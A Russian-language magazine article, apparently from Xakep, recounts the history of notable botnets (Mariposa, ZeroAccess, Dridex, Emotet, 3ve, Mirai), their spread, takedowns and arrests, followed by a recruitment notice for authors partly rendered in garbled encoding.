К  сожале нию  авто ров  бот нета  (о  сво ей  при час тнос ти  пря мо  заяв ляла
груп пиров ка DDP Team из Испа нии),  в декаб ре 2009  года  карь ера Mariposa
была  закон чена.  Иссле дова телям  и  полиции  уда лось  вычис лить,  зах ватить
и отклю чить C&C‐сер веры в той же Испа нии. А три месяца спус тя (в фев рале)
испан ские  пра воох раните ли  арес товали  тро их  чле нов  груп пы  DDP  Team.
Занят ная деталь — ник то из арес тован ных не умел прог рамми ровать.

По  утвер жде нию  испан ской  полиции,  ботово ды  нафака пили  сов сем  уж
по‐дет ски: под клю чились как адми ны к С&C со сво его домаш него  IP, вмес то
того  что бы  исполь зовать  VPN  или  прок си.  Тем  не  менее  приз вать  к  отве ту
прес тупни ков не уда лось, во мно гом из‐за того, что управле ние бот нетом в то
вре мя вооб ще не счи талось в Испа нии прес тупле нием, а для уго лов ного дела
полиции  приш лось  бы  доказать,  что  они  ворова ли  информа цию  и  затем
исполь зовали  ее  для  получе ния  при были.  По  офи циаль ной  информа ции,
с  помощью  Mariposa  были  укра дены  при ват ные  дан ные  боль ше  чем
у 800 тысяч человек в 190 стра нах — прав да, в рас сле дова нии это при менить
не уда лось за неиме нием вес ких доказа тель ств.

В  ито ге  рас сле дова ние  заш ло  в  тупик,  а  осво бодив шиеся  через  пару
месяцев  адми ны Mariposa  посети ли  офис  ком пании  Panda  Security,  которая
в  зна читель ной мере при ложи ла руку  к  их  поим ке,  и  ста ли  про сить  взять  их
на  работу:  по  их  сло вам,  они  ока зались  совер шенно  без  денег  пос ле  того,
как инфраструк тура Mariposa была раз рушена. Ушли, конеч но же, ни с чем.

Нес мотря  на  унич тожение  C&C  Mariposa,  c  кон ца  2010  года  чис ло  его
обна руже ний опять начало рас ти, а через пол года был най ден еще один бот‐ 
нет на осно ве того же Palevo, чис ленностью око ло 11 мил лионов машин. Наз‐ 
вали его Metulji («бабоч ка» по‐сло вен ски).

Бук валь но  через  пол тора‐два  месяца  пос ле  обна руже ния  бот нета  его
опе рато ры,  жители  серб ской  Бос нии,  были  вычис лены.  Ребята  тоже
не замора чива лись и сорили день гами нап раво и налево. Арес товали их сов‐ 
мес тны ми уси лиями полиции Сло вении, ФБР и Интерпо ла. С  тех пор Palevo
со сво ими про изводны ми исчез из спис ков топовых угроз.

Как видим, даже кул хацке ры, обла дающие минималь ными зна ниями, могут
собирать нехилые по чис леннос ти бот неты, даже не исполь зуя спам и экс пло‐ 
ит‐паки. Две над цать мил лионов на ров ном мес те — серь езный резуль тат.

ZEROACCESS
 тро ян‐заг рузчик, спа мер и май нер• Крат кая харак терис тика:

 2009–2013• Го ды жиз ни:

 9 мил лионов• Ко личес тво зараже ний:

 экс пло ит‐пак• Ме тод рас простра нения:

Ис тория  ZeroAccess  в  летопи си  рут китов  началась  в  июне  2009  года.  В  то
вре мя  нашел ся  инте рес ный  обра зец,  в  драй вере‐рут ките  которо го  была
стро ка  .  Так  что  наз вание  ZeroAccess  —
автор ское.  Были  у  него,  конеч но,  и  дру гие:  ZeroAccess  так же  известен
под наз вани ями Smiscer и Sirefef.

F:\VC5\release\ZeroAccess.pdb

Ин терес ная  фиш ка  ZeroAccess  —  «лов ля  на  жив ца»  для  обла мыва ния
анти виру сов.  Кро ме  сво его  основно го  драй вера‐рут кита,  бот  имел  допол‐ 
нитель ный драй вер ядра для соз дания при ман ки — объ екта, на который кле‐ 
вали  анти виру сы  и  про чие  яко бы  защит ные  механиз мы.  Этот  драй вер  соз‐ 
давал  устрой ство    и  сох ранял  под став ной  бинарь
по адре су  . Дос туп к это му псев дофай лу
монито рил ся  рут китом.  Если  что‐то  задева ло  нажив ку,  ZeroAccess  уби вал
про цесс,  инжекти руя  в  него  код,  который  вызывал  .  А  что бы
пре дот вра тить  пос леду ющие  запус ки  попав шей ся  прог раммы,  для  ее
исполня емо го  фай ла  ZeroAccess  сбра сывал  ACL,  что бы  зап ретить  чте ние
и  выпол нение.  Таким  обра зом,  однажды  попав шись,  анти вирус  боль ше
не мог запус тить ся.

\Device\svchost.exe
\Device\svchost.exe\svchost.exe

ExitProcess()

В янва ре 2010 года соз датели ZeroAccess выкати ли обновле ние, которое
обо гати ло  ZeroAccess  новыми  фун кци ями.  Для  это го  (сюр приз!)  исполь‐ 
зовались  ресур сы  Russian  Business  Network.  В  этой  вер сии  ста ло  замет нее
явное  заимс тво вание  идей  более  ста рого  рут кита  TDL‐3:  запуск  теперь
выпол нялся через зараже ние драй вера, а для хра нения ком понен тов рут кита
исполь зовалось скры тое хра нили ще в отдель ном раз деле жес тко го дис ка.

До апре ля 2011 года 64‐раз рядные вер сии Windows были в отно ситель ной
безопас ности  и  не  заража лись  ZeroAccess.  Одна ко  в  мае  с  оче ред ным
обновле нием это досад ное упу щение было исправ лено, но не ска зать, что бы
очень  тех нологич но.  Дело  в  том,  что  в  32‐бит ной  вер сии  рут кит  работал
на уров не ядра, а в 64‐бит ной сре де все работа ло в поль зователь ском прос‐ 
транс тве.  Видимо,  авто ры  решили  не  замора чивать ся  с  обхо дом  про вер ки
под писи драй вера и сде лали такой кос тыль.

Что бы  повысить  живучесть,  добави ли  P2P  на  базе  TCP  для  рас простра‐ 
нения  сво их  модулей,  а  так же  спи сок  началь ных  пиров,  который  содер‐ 
жал  256  IP‐адре сов  супер нод.  Анти вирус ные  ана лити ки  отме чают,  что  эта
вер сия ста ла заг ружать два вида полез ной наг рузки — для клик фро да и май‐ 
нин га.

Шло вре мя. Все боль ше людей перехо дили на 64‐бит ные ОС, раз работ ка
ядер ного рут кита для которых зат рудне на. В мае 2012 года драй вер ядра был
зак рыт,  и  теперь  вся  работа  про исхо дила  в  usermode.  Алго ритм  работы
пирин говой  сети  тоже  нем ного  поменял ся,  а  дли ну  клю ча  RSA  уве личи ли
в два раза — с 512 до 1024 бит. Если рань ше пирин говые соеди нения шли
толь ко по TCP,  то теперь спи сок  IP‐адре сов зап рашивал ся по UDP, а спи сок
модулей — по ТСР. Как и преж де, оста валось раз деление по типу полез ной
наг рузки: на выбор был модуль клик фро да или май нин га.

При мер  ZeroAccess  хорошо  иллюс три рует  прин цип  брит вы  Окка ма  —
не  умно жай  сущ ности  без  надоб ности,  или,  по‐прос тому,  не  усложняй.  Ze‐
roAccess  начинал ся  как  тех нологич ная  раз работ ка,  потом  в  ходе  эво люции
от него отва лил ся рут кит, но бот нет про дол жал жить и даже обза вел ся такой
мод ной фичей, как P2P.

По  оцен кам  ком пании  Sophos,  количес тво  заражен ных  ботом  компь юте‐ 
ров  в  кон це  лета  2012  года  сос тавля ло  более  9  мил лионов,  а  активных
зараже ний — око ло мил лиона. По мне нию экспер тов, бот нет ZeroAccess был
самым активным в 2012 году.

Ан тивирус ные  ком пании,  конеч но,  не  игно риро вали  сущес тво вание  бот‐ 
нета и активно иска ли методы втор жения через пирин говый про токол ZeroAc‐
cess, что бы вывес ти его из строя. В мар те 2013 года за дело взя лись инже‐ 
неры  из  Symantec  и  успешно  обна ружи ли  уяз вимость  в  про токо ле  бот нета,
которая поз воляла, хоть и с боль шим тру дом, нарушить его работу.

Од новре мен но  про дол жалось  наб людение  за  активностью  бот нета,
и 29 июня спе циалис ты Symantec замети ли, что через пирин говую сеть рас‐ 
простра няет ся  новая  вер сия  ZeroAccess.  Обновлен ная  вер сия  содер жала
опре делен ные изме нения, которые зак рывали уяз вимость, най ден ную ранее.
Это,  похоже,  и  под тол кну ло  опе рацию  по  зах вату  бот нета,  которая  стар‐ 
товала  16  июля.  Иссле дова тели  пытались  успеть  перех ватить  управле ние
до того, как обновле ние приш ло на все узлы. В резуль тате из бот сети выш ло
более полумил лиона ботов.

Но  еще  боль ших  успе хов  добились  вай тхе ты  из  Microsoft:  в  декаб‐ 
ре 2013 года сов мес тно с силовы ми струк турами раз ных стран они наруши ли
работу ZeroAccess, взяв под свой кон троль C&C. Пра воох раните ли получи ли
орде ры на обыск и изъ ятие сер веров, которые откли кались по 18 IP‐адре сам
и с которых управлял ся бот нет. Пос ле этой опе рации боты получи ли от авто‐ 
ров пос леднее обновле ние с сооб щени ем WHITE FLAG. Короче, бот нет сдал‐ 
ся.

Прин цип работы

Тех ничес ки  бот нет  остался  жив,  но  обновле ний  он  боль ше  никог да
не  получит,  так  как  коман дные  сер веры  канули  в  Лету.  Бот  не  обновля ется,
детект  пос тоян но  рас тет,  и  его  обез вре жива ет  все  боль ше  анти виру сов.
Но нель зя исклю чать,  что раз работ чики сей час  тру дят ся  над новой вер сией
ZeroAccess.

Продолжение статьи →
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DRIDEX
 бан ков ский тро ян• Крат кая харак терис тика:

 2011 — нас тоящее вре мя• Го ды жиз ни:

 неиз вес тно• Ко личес тво зараже ний:

 спам, социн женерия, бес плат ный софт• Ме тоды рас простра нения:

Бан ков ский  тро ян  Dridex  —  одна  из  глав ных  финан совых  киберуг роз  с  тех
пор, как Zeus покинул этот пост. В 2015 году его ущерб   более чем
в 40 мил лионов дол ларов.

оце нивал ся

Пер вое появ ление Dridex (тог да Cridex) — при мер но сен тябрь 2011 года.
Бот уже тог да умел исполь зовать веб‐инжекты для кра жи денег в интерне те,
а так же мог заражать USB‐накопи тели. Поэто му изна чаль но он клас сифици‐ 
ровал ся не как тро ян, а как червь. Веб‐инжекты же ока зались подоз ритель но
похожи ми  по  сти лю  на  Zeus  —  это му  мог ла  пос пособс тво вать  утеч ка
исходных кодов пос ледне го в 2011 году. Поз же, в 2012 году, зло умыш ленни ки
отка зались от зараже ния USB.

Сходс тво веб‐инжектов Zeus и Dridex — не единс твен ная объ еди няющая
их чер та. Кон крет но с вер сией GameOver Zeus общи ми ока зались механиз мы
работы  с  регуляр ными  выраже ниями,  спо соб  рас простра нения  (поч товый
спам), некото рые аспекты работы уста нов щика (основное тело вируса и заг‐ 
рузчик), а так же набор дос тупных ком понен тов на заражен ной сис теме. В их
спи сок  вхо дит  SOCKS‐прок си  и  скры тый  VNC,  оче вид но  поза имс тво ван ный
из Zeus.

К  началу  2015  года  в  Dridex  появи лось  даже  некое  подобие  пирин говой
сети,  что  опять  же  напоми нает  GameOver  Zeus.  Чес тным  P2P  это  наз вать
нель зя,  потому  что  не  все  узлы  сети  были  рав ноправ ными.  Вмес то  это го
сущес тво вали супер ноды, адре са которых ука зыва лись в кон фигура цион ном
фай ле  тро яна,  в  XML‐сек ции  .  Так же  появи лось  шиф рование  про‐ 
токо ла обще ния с коман дным цен тром.

<nodes>

Сеть  быс тро  раз вивалась,  и  прес тупни ки  казались  неуло вимы ми,
но 28 августа 2015  года был най ден и арес тован один из адми нис тра торов
Dridex.  Часть  ботов  (они  были  раз делены  на  под сети)  про пала  из  сети,
но  через  корот кое  вре мя  они  не  толь ко  вер нулись,  но  и  при вели  новых.
Похоже, дру гие адми ны перех ватили кон троль над под сетями арес тован ного
товари ща и про дол жили работу без него.

Пос ле арес та сра зу же ужес точились меры пре дос торож ности: появи лась
филь тра ция  по  геог рафичес кому  положе нию  на  осно ве  IP.  Если  стра на
не попада ла в спи сок, то бот получал сооб щение об ошиб ке. Изу чению тро‐ 
яна это, конеч но, не помеша ло. Через пару месяцев вла дель цы сети выкати ли
обновле ние  заг рузчи ка  тро яна,  в  котором  XML‐кон фиг  замени ли  на  бинар‐ 
ный. На самом деле это решение уже исполь зовалось в ран них вер сиях тог‐ 
дашне го  Cridex,  так  что  этот  ход  был  ско рее  приз ван  запутать  иссле дова‐ 
телей, чем сде лать тро ян удоб нее.

Еще одну инте рес ную вер сию наш ли  в  начале 2017  года. По сво им воз‐ 
можнос тям  она  была  похожа  на  третью,  но  ана лиз  новых  образцов  теперь
силь но  осложня ется  тем,  что  заг рузчик  работа ет  мак симум  пару  дней.
Решение опять же не новое: при мер но так же было с тро яном Lurk, толь ко там
заг рузчик  работал  все го  нес коль ко  часов.  Ког да  вре мя  жиз ни  заг рузчи ка
закан чива ется, сме няют ся клю чи шиф рования и ста рые образцы ста новят ся
бес полез ными.  Все  уста рев шие  экзем пля ры  получа ют  от  сер вера  ошиб‐ 
ку 404.

Шиф рование оста лось как у пред ка — RC4 со ста тичес ким клю чом в теле
тро яна. Шиф рование было нуж но для защиты от обна руже ния в тра фике, а не
для  бло киров ки  иссле дова ний,  пос коль ку  RC4  —  алго ритм  сим метрич ный
и  лег ко  под дающий ся  взло му  перебо ром,  но  сис темы  ана лиза  тра фика
перед таким псев дослу чай ным потоком дан ных бес силь ны.

Ге огра фия рас простра нения Dridex

Боль шинс тво  жертв  находят ся  в  Евро пе.  Боль шая  часть  зараже ний  была
зафик сирова на  в  Великоб ритании,  сле дом  идут  Гер мания  и Фран ция.  Рос‐ 
сий ские  компь юте ры  Dridex  не  заража ет:  коман дные  сер веры  не  отве чают
на зап росы с рос сий ских IP.

За  годы  сущес тво вания  Dridex  вай тхе ты  и  пра воох ранитель ные  орга ны
раз ных  стран  не  раз  безус пешно  пытались  прек ратить  активность  бот нета.
В 2009 году Минис терс тво юсти ции США   в адрес двух
рос сиян,  которые,  по их  дан ным,  сто ят  за раз работ кой мал вари Dridex  и  не
толь ко.

выд винуло обви нения

Об винитель ное  зак лючение  гла сит,  что  32‐лет ний  Мак сим  Яку бец  и  38‐
лет ний  Игорь  Турашев  были  раз работ чиками  извес тней шего  бан ков ско го
тро яна Dridex и Яку бец выс тупал лидером груп пы. Кро ме того, Якуб ца так же
обви няют в раз работ ке и рас простра нении Zeus.

Но пока что в Dridex толь ко появ ляют ся новые и новые тех ники обхо да сис‐ 
темы  кон тро ля  учет ных  записей  (UAC),  которые помога ют остать ся на пла ву
и про дол жать заражать машины с Windows. Ущерб наз вать слож но, но даже
по самым щадящим оцен кам он изме ряет ся в сот нях мил лионов дол ларов.

WWW

•Оди ноч ка  про тив  кор порации  зла.  Как  Брай ан
Кребс  борол ся  с  рус ски ми  хакера ми  из  Evil
Corp

•Бо лее под робный раз бор Dridex

EMOTET
 бан кер, заг рузчик• Крат кая харак терис тика:

 2014 — нас тоящее вре мя• Го ды жиз ни:

 неиз вес тно• Ко личес тво зараже ний:

 спам, СИ• Ме тоды рас простра нения:

Emotet  —  еще  один  тех нологич ный  бан ков ский  тро ян.  Пер вые  вер сии
похища ли  бан ков ские  дан ные  все го  нес коль ких  бан ков,  но  бот нет  быс тро
совер шенс тво вал ся и сей час так же вхо дит в топ‐3 самых активных и опас ных,
хотя впер вые появил ся отно ситель но недав но — в 2014 году.

За раже ние активно про исхо дит  через спам: пись ма содер жат  вре донос‐ 
ное вло жение с мак росом. Мак рос прос то так не выпол няет ся, но метода ми
соци аль ной  инже нерии  зас тавля ет  жер тву  запус тить  себя,  что  при водит
к зараже нию.

На  рубеже  2016  и  2017  годов  соз датели  переп рофили рова ли  бот нет,
и теперь он пре иму щес твен но выс тупа ет заг рузчи ком для дру гих вре доно сов
всех мас тей. Впро чем, вычер кивать его из спис ка бан керов тоже пока не сто‐ 
ит.

Бот нет про дает ся по модели IaaS или MaaS (malware as a service) дру гим
кибер прес тупным груп пиров кам. В час тнос ти, Emotet  час то дей ству ет в  тан‐ 
деме с Ryuk.

Рас простра нение в 2017–2018 годах, ЛК

Во вто рой полови не 2019 года количес тво зараже ний Emotet рез ко вырос ло.
Заг рузчик  вне зап но  отме тил ся  всплес ком  активнос ти.  В  сен тябре,  пос ле
корот кой четырех месяч ной паузы, Emotet сно ва начал дей ство вать с мно гок‐ 
ратно нарас тающей силой. Все го во вто рой полови не 2019 года было обна‐ 
руже но 27 150 экзем пля ров Emotet (рост на 913% по срав нению с прош лым
годом). Во вре мя этой ата ки зафик сирова ли более 1000 уни каль ных IP‐адре‐ 
сов,  по  которым  раз мещались  C&C  Emotet.  На  гра фике  ниже  показа но
количес тво  най ден ных  образцов  Emotet  за  вто рую  полови ну 
и 2019 год. Вид на колос саль ная раз ница.

2018‐го

Ко личес тво сем плов Emotet по месяцам 2018–2019

В  2020‐м  же    новая  осо бен ность:  Emotet  ведет  себя
как  червь,  взла мывая  пло хо  прик рытые  сети  Wi‐Fi  и  рас простра няясь  там.
Еще  одна  демонс тра ция  того,  как  во  имя  более  эффектив ного  зараже ния
зло умыш ленни ки изоб рета ют новые тех ники.

бы ла  обна руже на

Что  каса ется  геог рафии  рас простра нения,  то  силь нее  всех  пос тра дали
Гер мания,  США,  Индия  и  Рос сия.  В  топ  потер певших  стран  вхо дят  так же
Китай,  Ита лия  и  Поль ша.  Emotet  по‐преж нему  акти вен,  так  что  кар тина
зараже ния  пос тоян но  меня ется  и  даже  к  момен ту  пуб ликации  этой  статьи
может изме нить ся.

До нас тояще го вре мени о соз дателях Emotet ничего не извес тно, так что
увле катель ной  исто рии  иди отиз ма  раз работ чиков  и  наход чивос ти  пра воох‐ 
раните лей тут не будет. А жаль.

3VE
 клик фрод‐бот нет• Крат кая харак терис тика:

 2013–2018• Го ды жиз ни:

 ~1,7 мил лиона• Ко личес тво зараже ний:

 спам, СИ• Ме тоды рас простра нения:

 око ло 30 мил лионов дол ларов• Ущерб:

Ду маю,  бан ков ские  тро яны  в  этой  под борке  тебе  уже  поряд ком  надо ели.
Одна ко  этот  бот  при над лежит  к  дру гому  семей ству  —  клик фрод‐бот нетам.
3ve («Eve») при зараже нии не кра дет бан ков ские дан ные, а тон нами скли кива‐ 
ет рек ламу на фаль шивых сай тах. Конеч но, поль зователь ничего не замеча ет,
так как все про исхо дит скрыт но. Бот содер жал мно жес тво механиз мов обхо‐ 
да детек та, что бы при носить сво им соз дателям мак сималь ную при быль. 3ve
счи тает ся наибо лее прод винутым клик фрод‐бот нетом.

Рас простра нял ся  3ve  через  бот неты  Methbot  и  Kovter  и  имел  нес коль ко
схем работы.

Од на из схем получи ла иден тифика тор 3ve.1, но пер выми ее обна ружи ли
спе циалис ты WhiteOps и наз вали  . Так же эту кам панию отсле жива ли
экспер ты из Symantec и ESET, под име нами   и   соот ветс твен но.
Естес твен но,  тог да  ник то  не  знал,  что  эта  опе рация  все го  лишь  неболь шой
кусочек более мас штаб ного рек ламно го мошен ничес тва.

MethBot
Miuref Boaxxe

Дру гая  схе ма  исполь зовала  в  пер вую  оче редь  сер веры  в  дата‐цен трах,
а  не  компь юте ры  прос тых  поль зовате лей  —  боты  ими тиро вали  поведе ние
живых поль зовате лей мобиль ных и ста ционар ных устрой ств. По информа ции
ФБР,  опе рато ры  3ve  исполь зовали  око ло  1900  сер веров  в  ком мерчес ких
дата‐цен трах,  а  в  их  рас поряже нии  находи лось  поряд ка  5000  сай тов  с  рек‐ 
ламой.

Опе рато ры  3ve  спа лились  пос ле  того,  как  ста ли  под делывать  BGP
и выделя ли себе бло ки IP‐адре сов, при над лежащие реаль ным кли ентам, что‐ 
бы  замас кировать  мошен ничес кую  активность.  Ког да  же  рек ламные  сети
начали  бло киро вать  адре са,  свя зан ные  со  схе мой  3ve.1,  опе рато ры  прос то
арен довали  заражен ные  машины  в  бот нете  Kovter.  Новые  боты  откры вали
скры тые окна бра узе ров и дей ство вали даль ше по ста рой схе ме.

В треть ей схе ме все оста лось по‐ста рому, но вмес то огромно го количес‐ 
тва маломощ ных ботов в кам пании учас тво вали нес коль ко мощ ных сер веров
и мно жес тво арен дован ных прок си для сок рытия сер веров.

На пике активнос ти бот нет 3ve ежед невно генери ровал око ло 3 мил лиар‐ 
дов  мошен ничес ких  зап росов,  исполь зовал  в  рай оне  10  тысяч  фаль шивых
сай тов для показа рек ламы, имел более тысячи бот‐сер веров в дата‐цен трах
и  кон тро лиро вал  свы ше  мил лиона  IP‐адре сов,  необ ходимых  для  сок рытия
ботов.

  сов мес тны ми  уси лиями  Google,  ФБР,  Adobe,  Amazon,  ESET,
Malwarebytes и дру гих ком паний. Авто ров было восемь, на них заведе но три‐ 
над цать  уго лов ных дел. Шес теро авто ров — рос сияне,  еще двое — казахи.
Иног да леген ды про рус ских хакеров не врут!

Зак рыт  бот нет

По информа ции Google, пос ле того как инфраструк тура 3ve была занесе на
в  чер ные  спис ки  и  про тив  нее  при мени ли  син кхо линг,  в  рек ламном мошен‐ 
ничес тве  нас тупило  нас тоящее  затишье.  Хотя  люди  в  погонах  не  называ ют
точ ных  доходов  груп пы,  экспер ты  оце нива ют  зарабо ток  3ve  не  менее  чем
в 30 мил лионов дол ларов США.

MIRAI
 DDoS‐бот нет• Крат кая харак терис тика:

 2016 — нас тоящее вре мя• Го ды жиз ни:

 более 560 тысяч• Ко личес тво зараже ний:

 брут форс• Ме тоды рас простра нения:

Бы ло  бы  стран но,  если  бы  мы  не  вспом нили  такой  зна мени тый  бот.  Он —
король бот нетов, поража ющих IoT‐устрой ства, и, хотя сам он уже дав но затух,
его  мно гочис ленные  потом ки  по‐преж нему  не  дают  покоя  безопас никам.
Впер вые  обна ружен ный  в  2016  году,  он  быс тро  и  эффектив но  зах ватывал
устрой ства  умно го  дома  (а  иног да  и  не  толь ко  их)  со  сла быми  пароля ми
на Telnet.

Этот  бот нет  раз работа ли  сту ден ты,  которые  почему‐то  разоз лились
на  собс твен ный  уни вер ситет  и  хотели  орга низо вать  DDoS‐ата ки  на  него.
Но они что‐то недорас счи тали, и теперь это самый круп ный IoT‐бот нет, если
учесть все его кло ны.

Бот нет сна чала тихо рос, но пос ле нес коль ких атак его замети ли и начали
охо ту  за  соз дателя ми.  Те  не  при дума ли  ничего  умнее,  чем  прос то  опуб‐ 
ликовать исходни ки. Мол, не обя затель но же мы авто ры: это кто угод но мог
быть, исходни ки‐то откры ты. Этот финт уша ми им не помог, и  .
К  сожале нию,  было  уже  слиш ком  поз дно:  дру гие  груп пиров ки  забес плат но
получи ли мощ ный и опас ный инс тру мент. Количес тво бот нетов на осно ве Mi‐
rai (а порой и пол ных его кло нов) перева лило за сто и про дол жает рас ти.

ав торов наш ли

В сен тябре 2016 года, пос ле пуб ликации Брай аном Креб сом статьи о про‐ 
дав цах  бот нетов  для  DDoS,  Кребс  сам  стал  жер твой  необыч но  силь ной
DDoS‐ата ки,  мощ ность  которой  на  пике  дос тигла  665  Гбайт/с.  Эта  ата ка
вооб ще ста ла одной из самых мощ ных сре ди извес тных. Хос тер боль ше такое
тер петь не стал, и сайт вре мен но при лег, пока не нашел ся новый хос тер.

Еще через месяц была устро ена мощ ная ата ка про тив ком пании DynDNS.
Она  про ходи ла  в  две  вол ны  при мер но  по  пол тора  часа  каж дая.  Нес мотря
на опе ратив ную реак цию и при нятые для отра жения ата ки меры, она все же
ска залась на поль зовате лях. Пос ледс твия были вид ны до вечера того же дня.
Что  при меча тель но,  был  ата кован  не  один  сер вер,  а  мно жес тво  по  все му
миру. Инже неры явно не ожи дали такой подачи и не смог ли нор маль но сре‐ 
аги ровать. В резуль тате пос тра дали как минимум Twitter, GitHub, SoundCloud,
Spotify и Heroku.

Для  ата ки  на  DNS‐про вай дера  были  исполь зованы,  что  иро нич но,  DNS‐
зап росы. Тра фик пре вышал нор маль ный поч ти на два поряд ка, и это не счи‐ 
тая  того,  что  сисад мины сроч но  вве ли филь тра цию.  Тог да DNS‐ампли фика‐ 
ция уже была опи сана, но всерь ез не вос при нима лась. Ата ка на Dyn испра‐ 
вила  положе ние,  так  что  уяз вимых  перед  этой  тех никой  сер веров  оста лось
уже не так мно го.

Сог ласно  рас сле дова нию,  в  ата ке  учас тво вало  все го  око ло  100  тысяч
излишне  «умных»  устрой ств.  Тем  не  менее  ата ка  получи лась  впе чат ляющей
по сво им мас шта бам.

Внут ри Mirai —  неболь шой  и  чис тый  код,  который,  прав да,  не  отли чал ся
тех нологич ностью.  Для  рас простра нения  задей ство валась  все го  31  пара
логин‐пароль,  но  даже  это го  ока залось  дос таточ но,  что бы  зах ватить  более
полумил лиона устрой ств.

INFO

Под робнее  о  Mirai  —  в  статье  «

»

По  сле дам  Mirai.
Раз бира емся,  как  тро яны  поража ют  IoT,  на  при‐ 
мере самого зло го из них

ВЫВОД
Мощ ные  бот неты  при ходят  и  ухо дят:  сто ит  ИБ‐иссле дова телям  и  пра воох‐ 
раните лям  зак рыть  одну  сеть  (а  иног да  и  ее  вла дель цев),  как  на  горизон те
появ ляет ся сле дующая, неред ко еще более угро жающая. Для прос тых смер‐ 
тных же мораль здесь очень прос тая: ставь надеж ные пароли на всех сво их
устрой ствах и обновляй про шив ки, и тог да твой компь ютер, роутер и слиш ком
умный холодиль ник не нач нут работать на прес тупную груп пиров ку.

https://www.theregister.co.uk/2015/10/14/dridex_botnet_takedown/
https://xakep.ru/2019/12/06/evil-corp/
https://xakep.ru/2020/01/31/evil-corp-vs-brian-krebs/
https://securelist.ru/dridex-a-history-of-evolution/30732/
https://xakep.ru/2020/02/10/emotet-worm/
https://www.zdnet.com/article/methbot-5-million-a-day-stolen-from-us-companies/
https://www.symantec.com/blogs/threat-intelligence/eversion-3ve-arrests-takedown
https://www.welivesecurity.com/2018/11/27/3ve-online-ad-fraud-disrupted/
https://xakep.ru/2018/11/29/3ve-down/
https://krebsonsecurity.com/2018/10/mirai-co-author-gets-6-months-confinement-8-6m-in-fines-for-rutgers-attacks/
https://xakep.ru/2019/01/22/mirai/


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
